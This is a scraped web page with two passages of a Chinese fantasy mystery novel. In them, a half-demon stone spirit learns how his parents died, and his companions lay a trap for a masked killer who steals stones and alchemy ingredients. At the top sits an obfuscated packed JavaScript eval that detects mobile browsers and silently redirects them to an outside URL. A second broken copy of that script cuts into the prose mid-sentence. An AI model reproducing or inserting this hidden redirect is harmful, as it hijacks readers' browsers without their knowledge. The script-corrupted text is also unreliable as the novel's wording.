;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546926|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是看出了他的顾虑,禺棹劝慰他说砾妖族不会如此,否则莲子也不会将他领回来了。 “你爹娘互生情意后有了你,殷珠她怀有身孕不便挪动,淞郃常常是两地跑。他也想过住去人界,但族中长辈培养我们是为了护佑族群,我们不能抛弃责任。” “砾妖的玄燧石总是被各方人士觊觎,你出生才几天,就有道士打上了主意,趁着淞郃不在,竟妄想夺走你,殷珠拼却性命才护住你。” 柳殷照没想到父母的命途艰难成这样,是他自己害死了娘,心中难免有点埋怨自己。 “你娘死后,淞郃带着你回到族内,刚好赶上山熊妖污蔑我族,大肆屠戮族人,他只身入战局。” 当年的劫难非常惨烈,砾妖族原本也是大族,那场斗争成为了命运的转折点。族中半数族人死去,柳淞郃也在其中。 临死之际看着刚出生的孩儿,父母皆丧,注定命途多舛。柳淞郃用秘法窥探了天命轮盘,探出柳殷照未来有命劫,就将自己的玄燧石化作他的第二颗心,以望在劫数中能救他一命。 禺棹伸手向小柳心口处探去,这一摸可不得了,那处的玄燧石消失不见,如今是他原原本本的心脏。 “孩子,你遇见那劫难了?” “应该是遇见了,当时还想不通答案,原来是这么回事儿。”柳殷照将枰溪镇被鹃鸟击中心脏一事讲给禺棹听,原来是父亲的玄燧石替他挡了一击,才得以活下来啊。 “活下来就好,也不算枉费淞郃的一番作为。”度过此劫后,想来不会再有危及生命之事,好友的在天之灵应该放心了。 “那禺棹前辈,后来呢,我如何到了枰溪镇。” 旁边的木盒终于被打开,禺棹拿出里面盛放的竹简,将它递给柳殷照。 “这是我们的族志,里面记载了当年的祸事。” 山熊联合别族编造谣言污蔑他们,想借此赶走砾妖占领更多领土,后面禺棹主动提出让与,却还是遭到他们赶尽杀绝。 直到双方的厮杀危急到人类,正派之士联合压制住几族斗争,但砾妖却成了有罪的一方,被扣上莫须有的罪名。后来以衡進宗镜陆和小尧涧严道长为首一批正义之士站出来说情,才得以保下砾妖一族。在那之后,禺棹举族迁居到了这里。 “衡進宗?小尧涧?禺棹前辈,方才两位捉妖师是恩人之徒,青衣的叫庭芜绿,是镜陆门派里的小辈,另一个姑娘叫酽白,是严道长唯一的徒弟。” “庭芜绿我是知道的,倒是酽白姑娘没见过。听你这样一说,我等会可得好好向她告罪,眼睛昏花成这样真是不中用了。” 族志中记载,那次浩劫使砾妖大伤元气,时至今日也还没缓过来。 “当时慌乱,甚至有灭族的风险,我遣人将小妖们都送往安全处,你也在其中。” 孩子是前途和希望,这样做才能留下命脉,避免族群就此绝世。后来安定下来了,他派人陆续找回小妖们,只有柳殷照不见踪影。 多方摸查后得知负责保护他的人未按指令行事,在半路消失不见了,禺棹苦寻数年也不得踪迹。 “我一直惶恐不已,淞郃将他的孩子交给我,我却……实在惭愧啊,若是寻不回你,我也无颜再见他。” 这位族长的脸上已布满沟壑,两眼凹陷,垂垂老矣之态。泪无声划过两侧,掉落在胸前衣襟处,那片深色区域慢慢扩大。 他看着柳殷照,带着浓浓愧疚之意。 “我……我已经平安长大了,从前的事没什么印象,你也不用太过在意。”这是柳殷照的实话,纵然是因为禺棹的些许过错导致自己流落在外,但当明白这些旧事后生不出丁点儿的责备。 禺棹说可能因为是半妖的缘故,所以他小时候对外界的记忆和感知不甚强。 长篇大论的说完他身世,禺棹将院里的几人叫进来,柳殷照趁着间隙给酽白三两句道出她师父的事。 “不知酽白姑娘是严道长徒弟,有失恭敬还望理解,不知严道长可好?” “前辈客气了,这些本就是捉妖师职责。另外劳前辈挂念,师父已经离世三年。”酽白又一次向别人告知师父的死讯,一遍遍的回想起那时的情景。 老头生前说死后不必发丧告,来祭拜的人太多会扰了他的清静,他倒是落得清闲,全来折磨酽白了。 几番交谈后,陈伯看夜色将尽,山间小路崎岖,晚了可不好行走,带着几人早早回去了。 路上,柳殷照将自己的身世再简述了一遍,几人都是他的朋友,没什么好遮掩的,还顺便就镜陆与严道长相助一事向二位姑娘道了谢。 29. 诱凶手 赶在太阳下山前回到古楼,在金色余光的照耀下,古楼熠熠生辉。陈伯计划着晚饭,照例是常鹊羽帮他打下手,两位好厨子在吃食方面总是能聊到一块去。 庭芜绿收到了师门的传信,背着几人到一旁看去了,近来她总是心事重重,脸上明明挂着“很不妙”的神情,嘴里还要硬撑着说没事。 酽白猜测是衡進宗出了事,毕竟在她心里,宗门永远排第一,就连时常惦念的大师兄也比不上。私下里问她,却不肯透露只言片语,酽白不好把欺压诱骗妖怪的那一套用在她身上,总归是人家私事,让她自己解决吧。 柳殷照从房里出来,扒好的橘子盛在釉青小盘中,找到坐在屋顶之上的酽白。 她在看月亮刚刚露出的虚影,淡淡一抹与天空还未分出界限。今夜是峨眉月,月弯如钩,仅在傍晚时西方天空短暂可见。 一个飞身轻易跃上屋顶,他与酽白并肩而坐,今日很高兴,困扰他106年的问题有了完整的答案。 “小石妖,你怎么这样高兴?” “是很高兴,我找到了自己的来处,再也不是来历不明、身份模糊的小妖了。”语气里是不加掩饰的轻快。 他过往遇见的妖怪,不论强弱大小,皆有来处,唯独自己像水里飘荡的浮萍,孤零零一个。 又同酽白讲了自己死而复生的事,困惑骤然得解,他的父母竟为他做了如此长远的打算。 “你的父母亲很好。” “嗯,我也觉得,虽然根本不记得他们,但心里还是好喜欢。” 常鹊羽将饭菜摆好,香味没引来几个小馋鬼,大喝一声,“人呢——吃饭了——” 如此平常的过了一日,关于此案几人毫无所获。 今年开春早,外出避冬的动物提前归来,山里已经隐隐有了些轻微鸣叫声。酽白侧着身子躺在床上,眼神空洞落在窗外,两位姑娘都睡不着。 “酽白,我们不能毫无动作,得弄出点动静来震慑凶手,他经常劫杀砾妖,想必藏身之所也在这附近,不若明日去看看?” “嗯……还有一件事,他夺走玄燧石,又偷盗少见的炼丹之物,到底想做什么。” “不如同时从两条线索入手,想必能查得快些。这样,明天我们各自行动,有线索后再一起汇总。” 酽白同意她的做法,时间有限,分工协作的确更省时一些。 几人的分配组合好似已成惯例,酽白跟柳殷照去查玄燧石跟炼丹原料的用途,庭芜绿跟常鹊羽去看行凶地的线索。连着几日都在外扎根,早出晚归的劳累不已。 不知不觉中山林更换新衣,各处植被渐出嫩芽,翠绿之色很快侵占了山林,盎然生机随处可见。 这日来了场春雨,大雨阻拦了几人出门的脚步,陈伯看他们辛苦,特地炖了一大锅肉来犒劳。 酽白闲不住,叫来庭芜绿一起讨论,柳殷照自不必说,这是他同类的事,当然关心的很,在他们的积极影响下,常鹊羽倒不好继续睡觉了,身为年长大哥,怎能自己偷懒呢,打着哈欠在一旁硬撑。 一时之间,所有人都显得干劲十足,誓有今日不得结果不罢休的态度。 “我们找到了玄燧石和原料的用法。”她边说边让柳殷照将东西拿出,一一摆开在桌面上。 时间回到前几日,他们跟随陈伯去拜访炼丹师,得知又有一户被盗,丢失的也是不常用的丹药原料。若只看最初几样,任谁来了也想不出用途,但再结合如今的,好像有了些眉目。 炼丹一事上酽白帮不了忙,只好委托给陈伯,他们转而去向禺棹打听玄燧石。 砾妖一族擅使防御系术法,化出的屏障坚硬无比,这皆因玄燧石所致,它是极为坚硬的上古原石,是修补法器必不可少的原料。 修补法器?有什么珍贵法器值得他耗费大力气?当今天下各类法器层出不穷,若非那七件无可代替的,其他的根本没必要,只要你有钱,就可以找工匠打造无数,正所谓物多必贱。 天下闻名的法器拢共七件,其三被私藏不见踪迹,剩下仙元山的壁扇、温孤氏的朝阳戟、北阁的邪金锏,以及衡進宗的净爻术。 其实,众人不知道的是,小尧涧也有一件,那是严道长的剑——会贞。虽是师父的佩剑,酽白从来没见他用过,只细心收藏着,也不许她在外提及。 不过,最近没听说有法器丢失啊,凶手大费周章夺取玄燧石,不惜与一个族群为敌,究竟为了什么? 陈伯说丢失的原料单看没什么用途,但合在一起就大有用处。几位炼丹师巧然发现,用古法对原料加以炼化,能够成为一种粘合剂。 又是粘合剂,又是原石,至此破案了,凶手就是为了修补不知名法器,他的动机终于明了。 视线回转,常鹊羽发声。 “诶,所有原料集齐,那凶手岂不是想修啥就修啥了,这厉害的啊。”听到精彩处,他倒是来了精神,哈欠也不打了。 “修补法器所需原料太多,他仅盗窃两家怕是不够。所以,我们可以等他再次行盗时动手。”酽白迅速抓到关键点,找到了破局之法。 她交代完,期待的目光落在同样优秀的庭芜绿身上,想要听听他们的收获。 “我们去看了案发的地方,时间过了太久,没什么有用的。倒是在砾妖住地外发现了些东西,附近几处隐蔽地方都藏过人。我觉得应是凶手蹲守时留下的,雎衣说遇害的砾妖皆是独自一人时被害。” “凶手每次行凶都会隔几日,那么间隔的这几天他肯定得藏起来,所以,附近必有他的落脚点。我们本来打算找找他的窝点,结果直接碰到凶手了。” 急转直下的剧情让大家瞠目结舌,柳殷照迫切问道,“遇见了?然后呢,你们怎么没抓住他?” “额,是我遇见的,当时小芜不在,我又对付不了他,本来是想尽力拖住,哪成想被他三两下放倒,小芜赶来时他刚好逃走。嗐,怪我怪我,我们凡人是有点弱哈。”常鹊羽挠着头,有些不好意思的开口。 柳殷照表示完全理解,适时安慰悲伤的凡人,他们不愧是好兄弟。 “常大哥,人怎么能跟妖比呢,你没受伤就已经是万幸了。” “他有什么特征吗?” 酽白打断时长过久的安慰,她需要更多信息才能找到凶手。 “感觉没啥特征啊,整个人从头到脚都遮起来了。哦,他应该是个哑巴,从头到尾一句话也没说,只顾着向我出手。”常鹊羽抚着下巴回忆到。 嗯?要说什么,我杀你了?还是说幸会?酽白暗自叹气,转头跟庭芜绿说话。 “他没对你使出法术,只用武力吗?” 这个点是常鹊羽没想到的,凶手居然耗费体力拼搏,为什么不直接用法术击倒他呢? “砾妖他们已经有了防备,凶手肯定不好下手,他可能会先去偷盗丹药原料。这附近丹药师不少,且多数人独自居住,正方便他下手。我有一计,可以诱他。” 几人都不说话了,安静等待她的下文,陈伯恰在此时端着汤过来,刚刚那些话他在隔壁听了个大概。 “他偷的都是些不常见的,想来丹药师手里的储量也不多,我们明日偷偷将所有材料收过来,然后分成几份放在不同丹药师家,到时大家各守一处,提前埋伏好等他来。” “这办法好,等他踩点过后再确定目标,就会顺理成章的掉进陷阱。收材料这事交给我去办,我跟那些丹药师都熟,办起事来方便不少。” 陈伯无疑帮了大忙,有他操办此事,酽白他们也能省下不少活。 “可我们这几个人不够吧,不如去禺棹族长那儿请些帮手。” 庭芜绿的担忧不无道理,凶手毕竟杀害了很多妖,实力应当是不弱的,他们这几人显然守不住, 酽白称好,又叫柳殷照同她一起去。 淅淅小雨直到傍晚才有停下的迹象,庭芜绿站在支窗前,静看屋檐水滴滑落,听雨珠坠地的破碎声,连着好多日未曾平静的心稍稍得到些抚慰。 她缓缓吐出心中沉闷之气,师父前几日又发来传信命她回去,但她再次犹豫了,有些不知所措,明明是最喜欢的家啊,怎么会没有想回去的欲望了。 又想起大师兄,不知他最近好不好,听说又出去找人问道了,明明上次受的伤还没好全应该静养一段时日的,真是让人操心。这次出去指不定又要受伤,算了,明日还是再替他找些丹药吧。 自六岁修习术法后,在她单一的世界里,除了在意术法进步,剩下的就是衡進宗跟大师兄,她的家和家人。 吵闹声传进耳朵,短暂的冥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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出发前,酽白叫住柳殷照,在他手里塞了几张符纸,这是她新画的保护符,不知为何,她莫名怕几个小妖不靠谱,拿出符纸危急时刻救他们性命。 之后,大家各自离去,在自己负责的地方提前蹲守着,就这样在暗处待了四五日,终于候到了想见的人。 这日半夜,常鹊羽吃完饭早早回到房内,他跟外面的苍苍聊不到一起去。那个妖整日里木着一张脸,也不搭理他的话,好生没趣,跟小柳比差远了。 过去好几天了,凶手还是不见踪影,他对酽白坚不可摧的信任都有些动遥了。 刚刚躺在床上,闭着眼睛冥想神游,院里乍起惊呼,定是贼人来了。常鹊羽拿上菜刀作武器就往外冲,来到院里正看见苍苍几人与凶手斗做一团。 看架势,苍苍打不过,常鹊羽也近不了身,他没再顾着往前面冲,掏出酽白留给他的传音铃,使劲摇晃发出声音。 相隔不远的庭芜绿先听到了铃声,她率先往陈伯家去,飞速赶到后加入打斗。 设下阵法想将凶手困住,不料被他轻易破解,看来是遇到阵法高手了。 长剑从手腕里抛出,直指凶手眉间,惯性反应下他抬起手臂挡在面前,野青刺穿肉骨抵上眉心。 但并未慌乱,他另一只手抓住剑身,被刺穿的手臂向前撕扯,刺啦一声脱离剑刃,下一瞬庭芜绿就在蛮力作用下被掀翻在地。凶手趁她倒地,迅速抬脚用力踩下,她翻身躲过再爬起来,被对手抛出的粉末迷了眼睛。 视线不清之际,一只脚踢上她肩膀,这人居然如此强劲,她被击中向后倒去时,借力起身,飞向远处地面。 酽白正巧到了,二人相视一眼,上前合攻。一进一退,打得蒙面凶手没机会歇气,渐渐的,他的招式露出破绽,行动迟缓下来。 显然黑衣凶手也明白不能再耗下去,他身上受了不少的伤,借着挥袍的动作再次洒出暗器,众人忙着躲避,让他有了逃走的机会。 黑衣人仓惶逃出去,刚好遇见赶回来的柳殷照跟莲子二人,“哼,老子拿不走原料,抓个砾妖也算可以。” 说着就向莲子而去,他想着柔弱小女妖总比男妖好对付,莽撞冲上前,谁知,他这下是挑着硬柿子了。 莲子虽娇小可爱,法力却算不得低,几招纠缠中有些不好下手,旁边的柳殷照也加入了战局。 他咬牙骂娘,愤愤怒斥众人以多欺少,然后灵活脱身甩开了二人。 柳殷照遇见了追出来的酽白几人,但黑衣凶手早已逃得不见踪影,不免有些失望。如今与凶手交锋过后,他定会更加强烈的防范,要抓住他就更难了。